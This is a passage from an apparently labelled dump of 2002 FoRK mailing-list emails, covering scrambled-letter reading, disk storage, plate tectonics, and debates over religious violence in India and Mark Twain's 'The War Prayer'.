first two and last two the same, > and reibadailty would hadrly be aftcfeed. My ansaylis did not come > to much beucase the thoery at the time was for shape and senqeuce > retigcionon. Saberi's work sugsegts we may have some pofrweul palrlael > prsooscers at work. The resaon for this is suerly that idnetiyfing > coentnt by paarllel prseocsing speeds up regnicoiton. We only need > the first and last two letetrs to spot chganes in meniang. -Dave",0,1 """Gordon Mohr"" ",,"Thu, 12 Sep 2002 12:34:18 -0700","Re: dylsexics of the wrold, untie!","Dave Long writes: > > (and no it wasnt me even though the spellingis > > oddly familar) > > Not that this is news to FoRKs, but: > > > > > ... randomising letters in the middle of words [has] little or no > > effect on the ability of skilled readers to understand the text. This > > is easy to denmtrasote. In a pubiltacion of New Scnieitst you could > > ramdinose all the letetrs, keipeng the first two and last two the same, > > and reibadailty would hadrly be aftcfeed. My ansaylis did not come > > to much beucase the thoery at the time was for shape and senqeuce > > retigcionon. Saberi's work sugsegts we may have some pofrweul palrlael > > prsooscers at work. The resaon for this is suerly that idnetiyfing > > coentnt by paarllel prseocsing speeds up regnicoiton. We only need > > the first and last two letetrs to spot chganes in meniang. Hmm, there's probably a patentable input-method for touch-tone keypads in there somewhere. - Gordon",0,1 James Rogers ,fork@spamassassin.taint.org,12 Sep 2002 12:59:03 -0700,"Re: dylsexics of the wrold, untie!","On Thu, 2002-09-12 at 12:22, Dave Long wrote: > > > > ... randomising letters in the middle of words [has] little or no > > effect on the ability of skilled readers to understand the text. This > > is easy to denmtrasote. In a pubiltacion of New Scnieitst you could > > ramdinose all the letetrs, keipeng the first two and last two the same, > > and reibadailty would hadrly be aftcfeed. My ansaylis did not come > > to much beucase the thoery at the time was for shape and senqeuce > > retigcionon. Saberi's work sugsegts we may have some pofrweul palrlael > > prsooscers at work. The resaon for this is suerly that idnetiyfing > > coentnt by paarllel prseocsing speeds up regnicoiton. We only need > > the first and last two letetrs to spot chganes in meniang. I'm working with an experimental text recognition/processing engine that exhibits similar characteristics. It can read right through misspellings like the above without any difficulty. And as the author above suggested, the pattern matching is inherently parallel internally. If the text recognition algorithm/architecture humans use is anything like the algorithm/structure we've been working with, the reason the first letter (and to a lesser extent, the last letter) is important is that without it the text pattern recognition problem is exponentially more difficult (from a theoretical standpoint anyway) and has to be resolved using deeper abstraction analysis. The middle letters are far less important and computationally much easier to resolve correctly. Cheers, -James Rogers jamesr@best.com",0,1 Gary Lawrence Murphy ,Dave Long ,12 Sep 2002 15:43:00 -0400,"Re: dylsexics of the wrold, untie!","So much for carnivore ;) -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Tom ,Gary Lawrence Murphy ,"Thu, 12 Sep 2002 16:05:28 -0400 (EDT)","Re: dylsexics of the wrold, untie!","On 12 Sep 2002, Gary Lawrence Murphy wrote: --] --]So much for carnivore ;) Yep, that ws the plan all alng with my typos, I am the only one to be consistently fighting the evls of da vore.",0,0 Eugen Leitl ,Tom ,"Thu, 12 Sep 2002 22:08:47 +0200 (CEST)","Re: dylsexics of the wrold, untie!","On Thu, 12 Sep 2002, Tom wrote: > Yep, that ws the plan all alng with my typos, I am the only one to be > consistently fighting the evls of da vore. Well, yeah, but there's an easier way. http://www.google.com/search?hl=en&lr=&ie=UTF-8&oe=UTF-8&q=STARTTLS&spell=1 There's still MITM, but it requires a far higher capability, and is easier to detect once you go beyond the scamed interaction of two parties, since being manipulative in principle. If you run your own mailserver, or have a say in what your host does, make him adopt STARTTLS.",0,1 """Bill Stoddard"" ","""Fork@Xent.Com"" ","Thu, 12 Sep 2002 16:32:52 -0400","RE: dylsexics of the wrold, untie!","> If the text recognition algorithm/architecture humans use is anything > like the algorithm/structure we've been working with, the reason the > first letter (and to a lesser extent, the last letter) is important is > that without it the text pattern recognition problem is exponentially > more difficult (from a theoretical standpoint anyway) and has to be > resolved using deeper abstraction analysis. The middle letters are far > less important and computationally much easier to resolve correctly. I think keeping the number of middle letters consistent with the correct spelling is important. Would be interesting to see if this same effect is applicable to written forms of other languages, maybe even Japanese romongi. Bill",0,0 Michael Watson ,Chris Haun ,"Thu, 12 Sep 2002 16:53:13 -0700 (PDT)",Re: From salon.com - Forbidden thoughts about 9/11,"--0-1051763016-1031874793=:3397 Content-Type: text/plain; charset=us-ascii I am delurking to comment on the Salon article. I just wanted to say that I am grateful they choose not to publish my forbidden thought. I sent it in a couple of days before the 9/11 commeration. If I had just watched the sentimental network and cable shows on 9/11 my cynical thoughts would have remain unchanged. However, I watch the Frontline show ""Faith and Doubt at Ground Zero"" on PBS. That show tackled head on, with much more courage than I have seen elsewhere, the larger questions about good and evil, about art as an alternate religion (Karlheinz Stockhausen -- 9/11 was a great work of art), and especially the question about how religion has a darker side which when carried to fanatic extremes tends to negate the humanity of the non-believers. I am not a religious person but I stunned at the scope of this program. It talked about the Lutheran minister who spoke at Yankees Stadium on a podium with other religious leaders present who was charged with heresy by his own church for promoting the idea that all religions are equal (presumably the Lutherans have the one true path?). Thanks for listening, I just felt like I needed to put the word out about this program. My shallow comment on Salon and others like it (my boyfriend and I had sex while the towers collapsed) gives me pause about how some of us tend to harden ourselves to the suffering of others. Mike Chris Haun wrote:i though this was all rather interesting, first bit of 9/11 coverage that i've liked. http://www.salon.com/mwt/feature/2002/09/11/forbidden_letters/index.html Chris --------------------------------- Do you Yahoo!? Yahoo! News - Today's headlines --0-1051763016-1031874793=:3397 Content-Type: text/html; charset=us-ascii I am delurking to comment on the Salon article. I just wanted to say that I am grateful they choose not to publish my forbidden thought. I sent it in a couple of days before the 9/11 commeration. If I had just watched the sentimental network and cable shows on 9/11 my cynical thoughts would have remain unchanged. However, I watch the Frontline show ""Faith and Doubt at Ground Zero"" on PBS. That show tackled head on, with much more courage than I have seen elsewhere, the larger questions about good and evil, about art as an alternate religion (Karlheinz Stockhausen -- 9/11 was a great work of art), and especially the question about how religion has a darker side which when carried to fanatic extremes tends to negate the humanity of the non-believers. I am not a religious person but I stunned at the scope of this program. It talked about the Lutheran minister who spoke at Yankees Stadium on a podium with other religious leaders present who was charged with heresy by his own church for promoting the idea that all religions are equal (presumably the Lutherans have the one true path?). Thanks for listening, I just felt like I needed to put the word out about this program. My shallow comment on Salon and others like it (my boyfriend and I had sex while the towers collapsed) gives me pause about how some of us tend to harden ourselves to the suffering of others. Mike  Chris Haun wrote: i though this was all rather interesting, first bit of 9/11 coverage that i've liked.http://www.salon.com/mwt/feature/2002/09/11/forbidden_letters/index.htmlChrisDo you Yahoo!? Yahoo! News - Today's headlines --0-1051763016-1031874793=:3397--",0,1 Dave Long ,fork@spamassassin.taint.org,"Fri, 13 Sep 2002 11:38:21 -0700",plate tectonics update,"When we were discussing Kuhn, I wrote: > My understanding of the history of > plate tectonics is that the magnetic > reversal patterns encoded in seafloor > basalts were crucial supporting data > which suddenly became available only > after Navy declassification, so the > adoption curve may be skewed. Many of the essays in Oreskes' _Plate Tectonics_ seem to support this idea: Sandwell, ""Plate Tectonics: A Martian View"" > In this essay, I'll describe a few of the important confirmations of > plate tectonic theory provided by satellites and ships. These tools > were largely developed to support the Cold War effort, and many are > labeled geodetic since they are used to make precise measurements > of the size and shape of the earth and the spatial variations in the > pull of gravity. The tools of satellite geodesy are needed for all > aspects of global warfare; precise satellite tracking and gravity > field development are needed for precision satellite surveillance > as well as for targeting ballistic missiles; the global positioning > system is used in all aspects of modern warfare; radar altimetery is > used or aiming submarine-launched ballistic missiles as well as for > inertial navigation when submerged. > > The global seismic networks were developed, primarily, to monitor > underground nuclear tests. Marine magnetometers were developed, > primarily, for detection of submarines. Multibeam sea floor mapping > systems were developed, primarily, for surveying critical and > operational areas of the northern oceans. ... and the Navy was in no hurry to declassify any of these data, as any uneven coverage could have revealed the parts of the oceans they found most interesting. -Dave (What do our seismic networks say about the middle east? I hazily recall a story about LA reporters asking their local geophysicists about an early morning quake, to be told that, as far as could be figured, the ""epicenter"" was at a negative depth, travelling near mach speed, and presumably headed towards Edwards)",0,1 Dave Long ,fork@spamassassin.taint.org,"Fri, 13 Sep 2002 12:12:23 -0700","Re: dylsexics of the wrold, untie!","> I think keeping the number of middle letters consistent with the correct > spelling is important. Aeftr tinryg it out on my lacol daciinorty, the worst I cloud find were teilprs, and of tehm the most cfinnosug seeemd to be: parental paternal prenatal as cenotxt wloud be mcuh more sacfgiiinnt with the rest, scuh as: bakers beakers breaks 98% of the 45k wdors were uinque. -Dave 1. romaji, or european languages which tend to end in vowels, would presumably work better with attention on the ending syllable (or at least consonant sound) 2. are typos a larger or smaller space? I had a whoromatic proggy that scattered transpositions at hazard where the hands alternated quickly; that would be a much smaller space -- but transposing/eliding spaces might make for a much larger one.",0,0 Chuck Murcko ,fork@spamassassin.taint.org,"Fri, 13 Sep 2002 12:40:23 -0700",Re: The Big Jump,"The USAF had a program in the 1959-1960 in which successful free jumps were made from balloons at up to ~32 km (100,000 ft.). The relevance was astronauts and SR-71 bailouts. This would top that achievement comfortably. http://www.wpafb.af.mil/museum/history/postwwii/pe.htm Chuck On Monday, September 9, 2002, at 11:20 AM, Owen Byrne wrote: > John Hall wrote: > >> Why so fast? Normal terminal velocity is much slower. >> > Not at 40,000 m. I found this article > (http://www.wired.com/news/print/0,1294,53928,00.html) : > > ""The last person to try to break the highest free fall record died in > the attempt. In 1965, New Jersey truck driver Nick Piantanida suffered > catastrophic equipment failure when his facemask blew out at 57,000 > feet. Lack of oxygen caused such severe brain damage that he went into > a coma and died four months later."" > > And in amongst the flash at > http://www.legrandsaut.org/site_en/ > > you can discover that he will break the sound barrier at 35,000 m, > presumably reaching top speed somewhere above 30,000. > > Owen > >> >>> -----Original Message----- >>> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of >>> bitbitch@magnesium.net >>> Sent: Sunday, September 08, 2002 8:36 AM >>> To: (Robert Harley) >>> Cc: fork@spamassassin.taint.org >>> Subject: Re: The Big Jump >>> >>> >>> >>> So uh, would this qualify for the Darwin awards if he doesn't make it? >>> >>> Freaking french people... >>> :-) >>> -BB >>> RH> Today a French officer called Michel Fournier is supposed to get >>> >> in a >> >>> RH> 350-metre tall helium balloon, ride it up to the edge of space (40 >>> >> km >> >>> RH> altitude) and jump out. His fall should last 6.5 minutes and >>> >> reach >> >>> RH> speeds of Mach 1.5. He hopes to open his parachute manually at >>> >> the >> >>> RH> end, although with an automatic backup if he is 7 seconds from the >>> RH> ground and still hasn't opened it. >>> >>> RH> R >>> >>> RH> ObQuote: >>> RH> ""Veder, si aver si grossi li coglioni, come ha il re di >>> >> Franza."" >> >>> RH> (""Let's see if I've got as much balls as the King of France!"") >>> RH> - Pope Julius II, 2 January 1511 >>> >>> >>> >>> -- >>> Best regards, >>> bitbitch mailto:bitbitch@magnesium.net >>> >> >> >> > > >",0,1 Gregory Alan Bolcer ,FoRK ,"Sat, 14 Sep 2002 07:20:32 -0700",introductions,"As I've had to resubscribe to fork and fork-noarchive, I guess I have to reintroduce myself. I'm formerly known as gbolcer at endtech dot com to the FoRK mailman program, formerly an overposter, and love soaking up bits through avid reading or scanning of almost every single list that's got informative to say. Hopefully all those overpost will get cleared out at somepoint and fork-archived. Greg",0,0 """Stephen D. Williams"" ","fork@spamassassin.taint.org, lea@lig.net","Sun, 15 Sep 2002 21:22:52 -0400",Slaughter in the Name of God,"An old Indian friend forwarded this to me a while ago. http://www.washingtonpost.com/ac2/wp-dyn?pagename=article&node=&contentId=A58173-2002Mar7¬Found=true Slaughter in the Name of God By Salman Rushdie Friday, March 8, 2002; Page A33 Washington Post The defining image of the week, for me, is of a small child's burned and blackened arm, its tiny fingers curled into a fist, protruding from the remains of a human bonfire in Ahmadabad, Gujarat, in India. The murder of children is something of an Indian specialty. The routine daily killings of unwanted girl babies . . . the massacre of innocents in Nellie, Assam, in the 1980s when village turned against neighboring village . . . the massacre of Sikh children in Delhi during the horrifying reprisal murders that followed Indira Gandhi's assassination: They bear witness to our particular gift, always most dazzlingly in evidence at times of religious unrest, for dousing our children in kerosene and setting them alight, or cutting their throats, or smothering them or just clubbing them to death with a good strong length of wood. I say ""our"" because I write as an Indian man, born and bred, who loves India deeply and knows that what one of us does today, any of us is potentially capable of doing tomorrow. If I take pride in India's strengths, then India's sins must be mine as well. Do I sound angry? Good. Ashamed and disgusted? I certainly hope so. Because, as India undergoes its worst bout of Hindu-Muslim bloodletting in more than a decade, many people have not been sounding anything like angry, ashamed or disgusted enough. Police chiefs have been excusing their men's unwillingness to defend the citizens of India, without regard to religion, by saying that these men have feelings too and are subject to the same sentiments as the nation in general. Meanwhile, India's political masters have been tut-tutting and offering the usual soothing lies about the situation being brought under control. (It has escaped nobody's notice that the ruling party, the Bharatiya Janata Party (BJP), or Indian People's Party, and the Hindu extremists of the Vishwa Hindu Parishad (VHP), or World Hindu Council, are sister organizations and offshoots of the same parent body.) Even some international commentators, such as Britain's Independent newspaper, urge us to ""beware excess pessimism."" The horrible truth about communal slaughter in India is that we're used to it. It happens every so often; then it dies down. That's how life is, folks. Most of the time India is the world's largest secular democracy; and if, once in a while, it lets off a little crazy religious steam, we mustn't let that distort the picture. Of course, there are political explanations. Ever since December 1992, when a VHP mob demolished a 400-year-old Muslim mosque in Ayodhya, which they claim was built on the sacred birthplace of the god Ram, Hindu fanatics have been looking for this fight. The pity of it is that some Muslims were ready to give it to them. Their murderous attack on the train-load of VHP activists at Godhra (with its awful, atavistic echoes of the killings of Hindus and Muslims by the train-load during the partition riots of 1947) played right into the Hindu extremists' hands. The VHP has evidently tired of what it sees as the equivocations and insufficient radicalism of India's BJP government. Prime Minister Atal Bihari Vajpayee is more moderate than his party; he also heads a coalition government and has been obliged to abandon much of the BJP's more extreme Hindu nationalist rhetoric to hold the coalition together. But it isn't working anymore. In state elections across the country, the BJP is being trounced. This may have been the last straw for the VHP firebrands. Why put up with the government's betrayal of their fascistic agenda when that betrayal doesn't even result in electoral success? The electoral failure of the BJP is thus, in all probability, the spark that lit the fire. The VHP is determined to build a Hindu temple on the site of the demolished Ayodhya mosque -- that's where the Godhra dead were coming from -- and there are, reprehensibly, idiotically, tragically, Muslims in India equally determined to resist them. Vajpayee has insisted that the slow Indian courts must decide the rights and wrongs of the Ayodhya issue. The VHP is no longer prepared to wait. The distinguished Indian writer Mahasveta Devi, in a letter to India's president, K. R. Narayanan, blames the Gujarat government (led by a BJP hard-liner) as well as the central government for doing ""too little too late."" She pins the blame firmly on the ""motivated, well-planned out and provocative actions"" of the Hindu nationalists. But another writer, the Nobel laureate V. S. Naipaul, speaking in India just a week before the violence erupted, denounced India's Muslims en masse and praised the nationalist movement. The murderers of Godhra must indeed be denounced, and Mahasveta Devi in her letter demands ""stern legal action"" against them. But the VHP is determined to destroy that secular democracy in which India takes such public pride and which it does so little to protect; and by supporting them, Naipaul makes himself a fellow traveler of fascism and disgraces the Nobel award. The political discourse matters, and explains a good deal. But there's something beneath it, something we don't want to look in the face: namely, that in India, as elsewhere in our darkening world, religion is the poison in the blood. Where religion intervenes, mere innocence is no excuse. Yet we go on skating around this issue, speaking of religion in the fashionable language of ""respect."" What is there to respect in any of this, or in any of the crimes now being committed almost daily around the world in religion's dreaded name? How well, with what fatal results, religion erects totems, and how willing we are to kill for them! And when we've done it often enough, the deadening of affect that results makes it easier to do it again. So India's problem turns out to be the world's problem. What happened in India has happened in God's name. The problem's name is God. Salman Rushdie is a novelist and author of the forthcoming essay collection ""Step Across This Line."" 2002 The Washington Post Company sdw -- sdw@lig.net http://sdw.st Stephen D. Williams 43392 Wayside Cir,Ashburn,VA 20147-4622 703-724-0118W 703-995-0407Fax Dec2001",0,1 """John Hall"" ","""'Stephen D. Williams'"" , ,","Sun, 15 Sep 2002 18:59:32 -0700",RE: Slaughter in the Name of God,"What I understood was that the activists on the train refused to pay for the food and other items they acquired from the Muslim vendors -- then taunted them. That may not be true, but it would put things in a more interesting light. Taking food from a small vendor in India and not paying them is trying to starve them. It sounded consistent with the ideas and purpose of the train full of activists. I'm rarely an apologist for Muslims anywhere. Yet I find my sympathies with the Muslims in this case, even after they burned the train. > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > Stephen D. Williams > The pity of it is that some > Muslims were ready to give it to them. Their murderous attack on the > train-load of VHP activists at Godhra (with its awful, atavistic echoes > of the killings of Hindus and Muslims by the train-load during the > partition riots of 1947) played right into the Hindu extremists' hands.",0,0 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Mon, 16 Sep 2002 15:54:31 +0200 (CEST)",Re: Hanson's Sept 11 message in the National Review,"The usual crud. Why do morons ranting and beating their chests in the National Review (or similar rags) merit FoRKing?",0,0 """John Hall"" ","""'Stephen D. Williams'"" ","Mon, 16 Sep 2002 12:18:59 -0700",RE: Slaughter in the Name of God,"First, it was my understanding that they had the food before they refused to pay. I often have the goods in my possession before I settle the paycheck. Second, 'not being paid for a little food' is an awfully big deal in India. It isn't far from stealing the only food my children have so I'll have to watch them starve. The margin of survival is very, very, thin. So yes. In my particular reality distortion field 'not paying for a little food' in India is akin to a direct act of violence intended to cause suffering if not death on the victims family. That such an act triggers a violent response is, IMHO, hardly surprising. In other words, as far as I could tell the people on the train fired the first shot. With all of that said I still don't know if this happened or not. Nor do I know for sure that the margin of survival for those Muslim vendors was that thin. > -----Original Message----- > From: Stephen D. Williams [mailto:swilliams@hpti.com] > Sent: Monday, September 16, 2002 11:54 AM > To: johnhall@evergo.net > Cc: fork@spamassassin.taint.org; lea@lig.net > Subject: Re: Slaughter in the Name of God > > Wow! It seems you are evaluating this with a large reality distortion > field. > > If the activists on the train refused to pay for food, then the vendors > shouldn't give it to them. And the local police force should be > arresting them. Etc. > > You have to be operating from a particularly primitive point of view, > which obviously was in operation with the participants here, to think > that religious differences or not being paid for a little food (or > taunting!) was even a remote justification for burning a train full of > people alive. > > sdw > > John Hall wrote: > > What I understood was that the activists on the train refused to pay for > > the food and other items they acquired from the Muslim vendors -- then > > taunted them. > > > > That may not be true, but it would put things in a more interesting > > light. Taking food from a small vendor in India and not paying them is > > trying to starve them. > > > > It sounded consistent with the ideas and purpose of the train full of > > activists. > > > > I'm rarely an apologist for Muslims anywhere. Yet I find my sympathies > > with the Muslims in this case, even after they burned the train. > > > > > > > >>From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > >>Stephen D. Williams > > > > > >>The pity of it is that some > >>Muslims were ready to give it to them. Their murderous attack on the > >>train-load of VHP activists at Godhra (with its awful, atavistic > > > > echoes > > > >>of the killings of Hindus and Muslims by the train-load during the > >>partition riots of 1947) played right into the Hindu extremists' > > > > hands. > > sdw > -- > swilliams@hpti.com http://www.hpti.com > Stephen D. Williams, Senior Technical Director > >",0,1 Eugen Leitl ,,"Mon, 16 Sep 2002 21:11:47 +0200 (CEST)",Re: storage bits,"On Mon, 16 Sep 2002, Stephen D. Williams wrote: > It's efficient-end, not low end. At 1Million hour MTBF, 133MB/sec, > and pretty good buffering and speed, the only thing going for SCSI is > 15,000 RPM vs. 7200 and in a very small number of cases, slightly > better scatter-gather. (Actually, I think there might be a 15,000 RPM > IDE now.) It's not just krpm, the desktop HDs have a higher failure rate. But I agree, EIDE has high density, and EIDE hardware RAID can offer SCSI a sound beating for reliability, performance, and storage density/rack units for the money, if designed for it, and if people would actually start buying it. > The other issues are pretty much non-issues: using multiple drives and > controller contention (just use many IDE channels with extra PCI > cards, up to 10 in some systems), and long cable runs (just split There are not all that many hard drives inside an 1U enclosure. Airflow blockage (you have to fit in 2-3x the number of SCSI disks with EIDE) will soon be a thing of the past due to SATA. > storage between nodes). Dual-port SCSI is also a non-issue since it > is very expensive, doesn't work that well in practice because there > are numerous secondary failure modes for shared disk systems, and > because you still end up with a single point of failure. Since rack-space costs dominate, and our systems need more or less decent I/O we're going with 1U Dells with SCSI. The hard drive prices don't really make a visible difference, given the cost of the iron, and the rackspace/month. Plus, 1U Dells don't have any space left for lots of EIDE drives.",0,0 """Geege Schuman"" ","""Jim Whitehead"" , ""FoRK"" ","Mon, 16 Sep 2002 17:02:29 -0400",RE: introductions,"the doctor wears many hats, including but not limited to a rubber skullcap for playing water polo, a beret for making sparkling wines, and an oversized fedora to deflect his own cigar smoke, which he regularly blows up my ... geege -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Jim Whitehead Sent: Monday, September 16, 2002 2:08 PM To: FoRK Subject: RE: introductions > Aren't you Dr. Gregory A. Bolcer, Dutch Uncle of P2P? I thought he was Greg Bolcer, recovering XPilot & Doom junkie... - Jim",0,0 """John Hall"" ",,"Mon, 16 Sep 2002 14:38:32 -0700",RE: Slaughter in the Name of God,"> From: Stephen D. Williams [mailto:swilliams@hpti.com] > > Just to further weaken the food transaction argument, I'll note that in > my neighborhood, the local McDonalds won't even hand you your drink in > the drive through until you fork over the cash. Maybe you never bought a hot dog from a street vendor. > And why is it that the margin of survival is so thin? Could it be that > all of these tribal rivalries are part of what's holding back wholesale > movement to the modern, first world patterns of constructive thinking? Well, yes. But it doesn't change the idea that the margin of survival probably IS that thin in this region. > I'm sure that both sides were ready to be the agressor. I'm not. I'm sure both sides were equally ready to be the aggressor provided they were in a predominant position of power. > Bush's reluctance to blast blind obeyance of religion as taught by your > local madrassa or KKK leader, apparently because he is fully involved > with the general effort to expand unfettered religiosity as the solution > to the world's ills, is disappointing. He has spoke against madrassa, > but what I heard sounded lame and carefully crafted to shield religion > in general from scrutiny. 1. Which religion and how it is currently being expressed matters. 2. The US is trying to avoid making war on the Muslim religion. 3. US Leadership remains reflexively multi-cultural. > We all have > disagreements, but at some point it becomes a crime against humanity. I didn't say burning the train was a good thing. I said I understood it wasn't a spontaneous attack on people who had done no wrong.",0,0 """Stephen D. Williams"" ",johnhall@evergo.net,"Mon, 16 Sep 2002 22:42:28 -0400",Re: Slaughter in the Name of God,"John Hall wrote: >>From: Stephen D. Williams [mailto:swilliams@hpti.com] >> >> >>Bush's reluctance to blast blind obeyance of religion as taught by >> >your > > >>local madrassa or KKK leader, apparently because he is fully involved >>with the general effort to expand unfettered religiosity as the >> >> >solution > >>to the world's ills, is disappointing. He has spoke against madrassa, >>but what I heard sounded lame and carefully crafted to shield religion >>in general from scrutiny. >> >> > >1. Which religion and how it is currently being expressed matters. > A) Which religion is it that can claim no foul actions in its past? Certainly not Christianity, Islam, etc. B) ""How it is currently being expressed"" amounts to a tacit acknowledgement that the sophistication of the society involved and people's self-limiting reasonableness are important to avoid primitive expression. This leads to the point that religion and less sophisticated societies are a dangerous mix. It also tends to invoke the image of extremes that might occur without diligent maintenance of society. C) Many splinter Christianity religions have 'clean hands' but they also aren't 'found in the wild'. (By ""primitive expression"", I don't mean to slight any society, but that there is some chronic evidence of irrational mob actions and uncivilized behavior (killing infants, women to break religious blue laws, etc.). The US has only really been mostly free of ""primitive expression"" for 40-50 years, although large categories, including serious religious conflict, were settled quite a while ago.) D) The Northern Ireland Protestant vs. Catholic feud, recently more or less concluded, is not completely unlike this kind of friction generated by splitting society too much along religious lines. One Post article pointed out that the problem basically stemmed from the vertical integration of areas along religious lines all the way to schools, government, political party, etc. (Of course both cases have a heritage of British conquest, but who doesn't?) (I couldn't find the article I remember, but here are a couple of others:) http://www.washingtonpost.com/ac2/wp-dyn?pagename=article&node=&contentId=A33761-2001Jul8¬Found=true http://www.washingtonpost.com/ac2/wp-dyn?pagename=article&node=&contentId=A15956-2002Jul16¬Found=true 'Northern Ireland is a British province of green valleys and cloud-covered hills whose 1.6 million people are politically and religiously divided. About 54 percent of the population is Protestant, and most Protestants are unionists who want the province to remain part of Britain. The Roman Catholic minority is predominantly republican, or nationalist; they want to merge with the Republic of Ireland to the south. In 1968, Catholic leaders launched a civil rights drive modeled on the Rev. Martin Luther King Jr.'s campaign in the American South. But violence quickly broke out, with ancient religious animosities fueling the political argument. Armed paramilitary groups sprung up on both sides. Police records and historians agree that the most lethal group by far was the IRA, fighting on the Catholic side with a goal of a united Ireland The provincial police force estimates that about 3,600 people were killed during the 30-year conflict known, with characteristic Northern Ireland understatement, as ""The Troubles.""' >2. The US is trying to avoid making war on the Muslim religion. > That's fine, as it would be an inappropriate concentration. It would be difficult to address the issues raised here in a clean way. I'd be happy with an acknowledgement that the connection is there. >3. US Leadership remains reflexively multi-cultural. > This is ok to a point, as long as it doesn't shy away from logical, objective analysis of when a society could be seriously improved in certain ways. >>We all have >>disagreements, but at some point it becomes a crime against humanity. >> >> > >I didn't say burning the train was a good thing. I said I understood it >wasn't a spontaneous attack on people who had done no wrong. > True, although I don't think you were as clear originally. :-) sdw",0,1 """John Hall"" ","""'Stephen D. Williams'"" ","Mon, 16 Sep 2002 20:11:10 -0700",RE: Slaughter in the Name of God,"> From: Stephen D. Williams [mailto:sdw@lig.net] > Sent: Monday, September 16, 2002 7:42 PM > >1. Which religion and how it is currently being expressed matters. > > > A) Which religion is it that can claim no foul actions in its past? > Certainly not Christianity, Islam, etc. Hence the qualifier 'current'. > B) ""How it is currently being expressed"" amounts to a tacit > acknowledgement that the sophistication of the society involved and > people's self-limiting reasonableness are important to avoid primitive > expression. This leads to the point that religion and less > sophisticated societies are a dangerous mix. It also tends to invoke > the image of extremes that might occur without diligent maintenance of > society. The tacit acknowledgement and self-limiting you speak of is not a given or a function of 'sophistication' but is primarily a feature of (current) Western Civilization. Of course, 'sophisticated' and 'Western Civilization' are essentially equivalent IMHO. But it need not be so. > D) The Northern Ireland Protestant vs. Catholic feud, recently more or > less concluded, is not completely unlike this kind of friction generated > by splitting society too much along religious lines. One Post article > pointed out that the problem basically stemmed from the vertical > integration of areas along religious lines all the way to schools, > government, political party, etc. (Of course both cases have a heritage > of British conquest, but who doesn't?) And sometimes the religious component is a faade for an equally dangerous ethnic affiliation. Hindu extremism isn't about the Hindu religious theology as far as I can see. It is a peg to hang an ethnic identity and identity politics on. Muslim extremism appears to have a far greater connection to theology. > 'Northern Ireland is a British province of green valleys and > cloud-covered hills whose 1.6 million people are politically and > religiously divided. About 54 percent of the population is Protestant, > and most Protestants are unionists who want the province to remain part > of Britain. The Roman Catholic minority is predominantly republican, or > nationalist; they want to merge with the Republic of Ireland to the south. Yep, all because the Scots ate oats and starved their Irish out long ago, while the English preferred wheat and that doesn't grow so well in Ireland. That and the introduction of potatoes saved the Irish as Irish. > That's fine, as it would be an inappropriate concentration. It would be > difficult to address the issues raised here in a clean way. I'd be > happy with an acknowledgement that the connection is there. Oh, I think we are in a war with wide aspects of the Muslim religion. I know it is there, but it just might not be appropriate to admit it publicly. > >3. US Leadership remains reflexively multi-cultural. > > > This is ok to a point, as long as it doesn't shy away from logical, > objective analysis of when a society could be seriously improved in > certain ways. I didn't say this was a *good* thing. With the exception of ethnic restaurants, I can generally be counted on to oppose anything labeled 'multi-cultural'. > >I didn't say burning the train was a good thing. I said I understood it > >wasn't a spontaneous attack on people who had done no wrong. > > > > True, although I don't think you were as clear originally. :-) I'm sure I wasn't.",0,0 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Tue, 17 Sep 2002 00:43:39 -0400", The War Prayer,"--- begin forwarded text Date: Mon, 16 Sep 2002 14:57:27 -0700 To: nettime-l@bbs.thing.net From: Phil Duncan Subject: The War Prayer Sender: nettime-l-request@bbs.thing.net Reply-To: Phil Duncan The following prayer is from a story by Mark Twain, and was quoted by Lewis Laphan in the October issue of Harper's magazine. It occurs at the very end of an excellent article which I recommend to you. In the story, an old man enters a church where the congregation has been listening to an heroic sermon about ""the glory to be won in battle by young patriots armed with the love of God."" He usurps the pulpit and prays the following: ""O Lord our God, help us to tear their soldiers to bloody shreads with our shells; help us to cover their smiling fields with the pale forms of their patriot dead; help us to drown the thunder of the guns with the shrieks of their wounded, writhing in pain; help us to lay waste their humble homes with a hurricane of fire; help us to wring the hearts of their unoffending widows with unavailing grief; help us to turn them out roofless with their little children to wander unfriended the wastes of their desolated land in rags and hunger and thirst, sports of the sun flames in summer and the icy winds of winter, broken in spirit, worn with travail, imploring Thee for the refuge of the grave and denied it -- for our sakes who adore Thee, Lord, blast their hopes, blight their lives, protract their bitter pilgrimage, make heavy their steps, water their way with their tears, stain the white snow with the blood of their wounded feet! We ask it, in the spirit of love, of Him Who is the Source of Love, and Who is the ever-faithful refuge and friend of all that are sore beset and seek His aid with humble and contrite hearts. Amen."" Twain wrote the story, ""The War Prayer,"" in 1905 during the American occupation of the Philippines, but the story wasn't printed until 1923, thirteen years after his death, because the editors thought it ""unsuitable"" for publication at the time it was written. # distributed via : no commercial use without permission # is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: majordomo@bbs.thing.net and ""info nettime-l"" in the msg body # archive: http://www.nettime.org contact: nettime@bbs.thing.net --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Eugen Leitl ,"""Stephen D. Williams"" ","Tue, 17 Sep 2002 11:18:33 +0200 (CEST)",Re: storage bits,"On Mon, 16 Sep 2002, Stephen D. Williams wrote: > To make what work? I already pointed out that a single drive is > comparable between IDE/SCSI. Alas, that's wrong. Both the drives are faster (10..15 krpm vs. ~7 krpm, faster seek), and the EIDE protocol is ridiculously dumb (queing; disconnect). > I think you're wrong with recent releases. I'll check this week. > There's also JFS and XFS. None of them are production quality. Right now only ext2 and ext3 qualify. It will take a good while (a year, or two) before we can trust anything else. > >SCSI has got advantages still, particular if it comes to off-shelf > >high-density racks. > > > Check out RaidZone.com. Have you looked inside a dual-CPU 1U Dell? Three drives are easy to get in. Anything else would require a redesign, and would in nontrivial thermal engineering issues. > A number of vendors are putting the 